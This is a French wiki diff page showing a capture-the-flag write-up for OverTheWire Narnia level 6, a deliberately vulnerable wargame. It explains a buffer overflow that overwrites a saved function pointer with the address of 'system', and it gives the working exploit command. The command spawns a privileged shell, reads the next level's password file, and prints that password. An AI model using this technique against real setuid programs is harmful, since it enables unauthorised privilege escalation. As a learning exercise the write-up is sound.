Outils d'utilisateurs

Outils du Site


overthewire_narnia:level6

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

overthewire_narnia:level6 [2013/03/03 14:53]
thelizardking
overthewire_narnia:level6 [2017/04/09 15:33] (Version actuelle)
Ligne 37: Ligne 37:
 </code> </code>
  
-Le programme //enregistre// l'adresse de la fonction ''puts'' dans la variable ''fp''. Il copie ensuite le contenu de ''argv[1]'' et ''argv[2]'' dans les deux buffers. Nous allons donc pouvoir écrire par dessus l'adresse de la fonction ''puts'' qui a été //enregistré//. Cependant, le programme vérifie que l'adresse de la fonction ne commence par par ''0xff'', ce qui correspond aux adresses de de la stack. Nous allons donc devoir contourner cette prorection.+Le programme //enregistre// l'adresse de la fonction ''puts'' dans la variable ''fp''. Il copie ensuite le contenu de ''argv[1]'' et ''argv[2]'' dans les deux buffers. Nous allons donc pouvoir écrire par dessus l'adresse de la fonction ''puts'' qui a été //enregistré//. Cependant, le programme vérifie que l'adresse de la fonction ne commence par par ''0xff'', ce qui correspond aux adresses de de la stack. Nous allons donc devoir contourner cette protection. 
 + 
 +Une des solutions possible est d'appeler la fonction ''system'' à la place de la fonction ''puts''. 
 + 
 +<code> 
 +$ ./narnia6 $(python -c 'print "A"*8+"\x60\xf2\xea\xf7"') $(python -c 'print "C"*8+"/bin/sh"') 
 +$ id 
 +uid=14006(narnia6) gid=14006(narnia6) euid=14007(narnia7) groups=14007(narnia7),14006(narnia6) 
 +$ cat /etc/narnia_pass/narnia7 
 +ahkiaziphu 
 +</code>
overthewire_narnia/level6.1362318825.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)